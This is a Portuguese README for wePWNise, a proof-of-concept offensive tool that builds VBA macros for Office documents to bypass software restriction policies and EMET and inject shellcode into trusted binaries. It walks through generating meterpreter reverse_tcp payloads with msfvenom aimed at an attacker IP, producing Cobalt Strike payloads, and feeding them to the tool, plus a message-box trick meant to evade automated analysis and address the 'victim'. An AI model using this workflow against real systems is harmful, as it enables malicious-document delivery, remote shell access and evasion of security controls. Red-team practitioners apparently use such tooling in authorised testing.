
WePWNise gera código VBA independente de arquitetura para ser usado em documentos ou templates do Office e automatiza a contornação de controle de aplicativos e software de mitigação de exploits.
wePWNise é um script Python de prova de conceito que gera código VBA que pode ser usado em macros ou modelos do Office. Foi projetado com automação e integração em mente, visando cenários de ambientes restritos. A ferramenta enumera Políticas de Restrição de Software (SRPs) e mitigações do EMET e identifica dinamicamente binários seguros para injetar payloads. wePWNise integra-se com frameworks de exploração existentes (ex.: Metasploit, Cobalt Strike) e também aceita qualquer payload personalizado em formato raw.
Para começar a usar o wePWNise, primeiro veja as opções que ele suporta:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
O wePWNise requer ambos os payloads raw de 32 e 64 bits para poder entregar o tipo apropriado quando chegar a um destino desconhecido. No entanto, se apenas uma arquitetura x86 for alvo, um payload dummy de 64 bits deve ser fornecido para substituir o código ausente.
Para derrotar certas configurações de análise automatizada, uma caixa de mensagem é aberta ao executar o código. O texto da caixa de mensagem pode ser alterado definindo seu valor no parâmetro --msg. Para desabilitar essa funcionalidade, defina o parâmetro --msgbox como False.
Devido a condições de desempenho que podem ser introduzidas como resultado de longas políticas SRPs/EMET, o wePWNise lê dois arquivos de configuração (binary-paths.txt e directory-paths.txt) que contêm uma lista de executáveis e diretórios com menor probabilidade de serem monitorados, para serem verificados primeiro. Editando o conteúdo desses arquivos, o usuário pode definir suas próprias escolhas. Se os arquivos estiverem vazios, o wePWNise começará diretamente a ler as políticas SRPs/EMET conforme definidas no Registro e fará sua escolha de injeção baseada puramente nas informações recuperadas.
As seções a seguir descrevem alguns exemplos básicos de uso do wePWNise.
Primeiro, os payloads para ambas as arquiteturas x86 e x64 em formato raw, e certifique-se de que os ouvintes do Metasploit estejam configurados adequadamente.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
Em seguida, aponte o wePWNise para os payloads gerados e direcione a saída para msf_wepwn.txt
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Para gerar um payload raw no Cobalt Strike, navegue até o seguinte menu e, no menu suspenso Output, selecione o formato Raw. Repita o processo e marque a caixa x64 para produzir um payload de 64 bits.
Attacks > Packages > Payload Generator
Insira os payloads gerados no wePWNise para gerar o código VBA.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
Em certos casos, pode ser que apenas um payload x86 esteja disponível. Como o wePWNise espera tanto um payload de 32 bits quanto de 64 bits, para desabilitar a injeção de 64 bits, crie um arquivo dummy de 64 bits e defina o parâmetro --inject64 como False.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
Da mesma forma, para gerar apenas payloads de 64 bits, crie um arquivo dummy x86 e forneça-o no parâmetro de linha de comando -i86 do wePWNise.
O wePWNise é distribuído sob uma licença BSD de 3 cláusulas e mantido pela MWR InfoSecurity
Esta ferramenta foi originalmente desenvolvida por Vincent Yiu (@vysecurity).